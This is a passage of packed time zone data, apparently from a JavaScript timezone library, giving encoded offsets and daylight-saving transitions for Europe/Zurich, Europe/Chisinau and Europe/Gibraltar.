WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|17e5","Europe/Zurich|LMT BMT CET CEST|-y.8 -t.K -10 -20|0123232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232|-4HyMy.8 1Dw04.m 1SfAt.K 11A0 1o00 11A0 1xG10 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|38e4","Europe/Chisinau|LMT CMT BMT EET EEST CEST CET MSK MSD|-1T.k -1T -1I.o -20 -30 -20 -10 -30 -40|0123434343434343434345656578787878787878787878434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343|-3D8NT.k 1wNA0.k wGMa.A 20LI.o RA0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 27A0 2en0 39g0 WM0 1fA0 1cM0 V90 1t7z0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 gL0 WO0 1cM0 1cM0 1cK0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1fB0 1nX0 11D0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|67e4","Europe/Gibraltar|LMT GMT BST BDST CET CEST|l.o 0 -10 -20 -10 -20|0121212121212121212121212121212121212121212121212123232323232121232121212121212121212145454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454|-3BHbC.A 1ra1C.A Rc0 1fA0 14M0 1fc0 1g00 1co0 1dc0 1co0 1oo0 1400 1dc0 19A0 1io0 1io0 WM0 1o00 14o0 1o00 17c0 1io0 17c0 1fA0 1a00 1lc0 17c0 1io0 17c0 1fA0 1a00 1io0 17c0 1io0 17c0 1fA0 1cM0 1io0 17c0 1fA0 1a00 1io0 17c0 1io0 17c0 1fA0 1a00 1io0 1qM0 Dc0 2Rz0 Dc0 1zc0 Oo0 1zc0 Rc0 1wo0 17c0 1iM0 FA0 xB0 1fA0 1a00 14o0 bb0 LA0 xB0 Rc0 1wo0 11A0 1o00 17c0 1fA0 1a00 1fA0 1cM0 1fA0 1a00 17c0 1fA0 1a00 1io0 17c0 1lc0 17c0 1fA0 10Jz0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 